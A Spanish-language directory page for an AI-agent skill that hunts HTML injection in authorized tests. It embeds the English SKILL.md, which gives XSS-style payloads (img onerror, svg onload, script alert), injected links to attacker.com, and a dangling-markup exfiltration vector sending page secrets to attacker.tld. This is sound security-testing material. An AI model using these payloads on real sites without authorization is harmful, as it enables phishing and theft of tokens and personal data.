hunt-html-injection
Qué hace
Esta skill prueba si la entrada se muestra como HTML sin escapar. Es menos grave que la inyección de scripts, pero aun así puede engañar a los usuarios. Es para pruebas autorizadas de campos de búsqueda, de perfil y de comentarios.
Cuándo usarla
- ✓Cuando un campo de búsqueda, de perfil o de comentarios podría mostrar HTML sin procesar.
- ✓Cuando un mensaje de error muestra la entrada del usuario sin escapar.
- ✓Cuando quieres confirmar si el HTML inyectado puede mostrar un formulario de inicio de sesión falso.
Link de la skill
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-html-injection/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes comprobar si nuestro campo de comentarios muestra HTML sin procesar, en nuestra prueba autorizada, y enseñar el efecto?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente pone un marcador único e inofensivo en una entrada y comprueba si el HTML se muestra como marcado. Después confirma el impacto con una prueba clara que muestre el riesgo.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
What is HTML Injection
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
Impact:
- Phishing via injected
<form>or<a href="attacker.com">tags - UI defacement —
<h1>HACKED</h1>renders visually on the page - Credential harvesting via injected login forms
- Redirect via
<meta http-equiv="refresh"> - Stepping stone to XSS (may be blocked by WAF on
<script>but not<img onerror>) - Dangling-markup exfiltration — even with
<script>and event handlers filtered, an unterminated tag can capture page content that follows it. Inject<img src='//attacker.tld/log?html=(no closing quote/>); the browser treats everything up to the next'as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw<is reflected. - Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected
<a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.
Attack Surface
Any input that is reflected or stored and then displayed in an HTML context:
- Search boxes (
?q=) - Comments, feedback, reviews
- Profile fields (name, bio, username)
- Error messages (
?error=,?message=) - Subject / body of contact forms
- Admin-visible fields (ticket titles, usernames in logs)
Autonomous Testing Priority
Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.
Pattern 1 — Basic HTML tag injection:
<b>CANARY</b>
"><b>CANARY</b>
Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not <b>CANARY. A properly encoded app would escape < to <.
Try multiple tag types when <b> is filtered:
<h1>CANARY</h1>— heading tag (often less filtered)<img src=x onerror=CANARY>— attribute context<a href="https://attacker.com">click</a>— link injection (phishing proof)
For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.
Proof
Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders <b>CANARY</b>; a vulnerable app renders <b>CANARY</b>.
Distinguishing HTML Injection from XSS
- HTML injection:
<b>text</b>renders as text in the browser — no JS execution needed. - XSS:
<script>alert(1)</script>executes JavaScript.
Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.
Preguntas frecuentes
¿En qué se diferencia la inyección de HTML del XSS?
La inyección de HTML no necesita que se ejecute JavaScript, así que la skill la considera de menor gravedad que el XSS en general.
¿Qué es el dangling markup?
Es una etiqueta sin cerrar que puede capturar el contenido de la página que aparece después, según indica la skill.
¿Por qué usar un número único?
Un número distinto ayuda a demostrar que el código inyectado es tuyo y no un texto de ejemplo que ya estaba en la página.
Detalles
Descripción original del autor
Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.
Popularidad
- Estrellas en GitHub
- 5,4 mil
- Posición en el ranking
- #14913
- Licencia
- MIT
- Actualizada
- 2/11/2026
Comentarios
- …
Más skills de este repositorio
apk-redteam-pipeline
5,4 milAyuda a tu agente a probar una app de Android en busca de debilidades de seguridad, desde encontrar el archivo APK y descompilarlo hasta buscar secretos expuestos.
bugcrowd-reporting
5,4 milAyuda a tu agente a escribir mejores informes de vulnerabilidades para Bugcrowd, eligiendo la categoría adecuada y respondiendo a las objeciones de fuera de alcance.
cloud-iam-deep
5,4 milAyuda a tu agente a comprobar a qué puede acceder una credencial de nube encontrada en AWS, Azure o Google Cloud, durante una prueba de seguridad autorizada.
enterprise-vpn-attack
5,4 milAyuda a tu agente a revisar equipos VPN y de acceso remoto de Cisco, Fortinet, Citrix y otros en busca de debilidades conocidas, durante una prueba autorizada.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.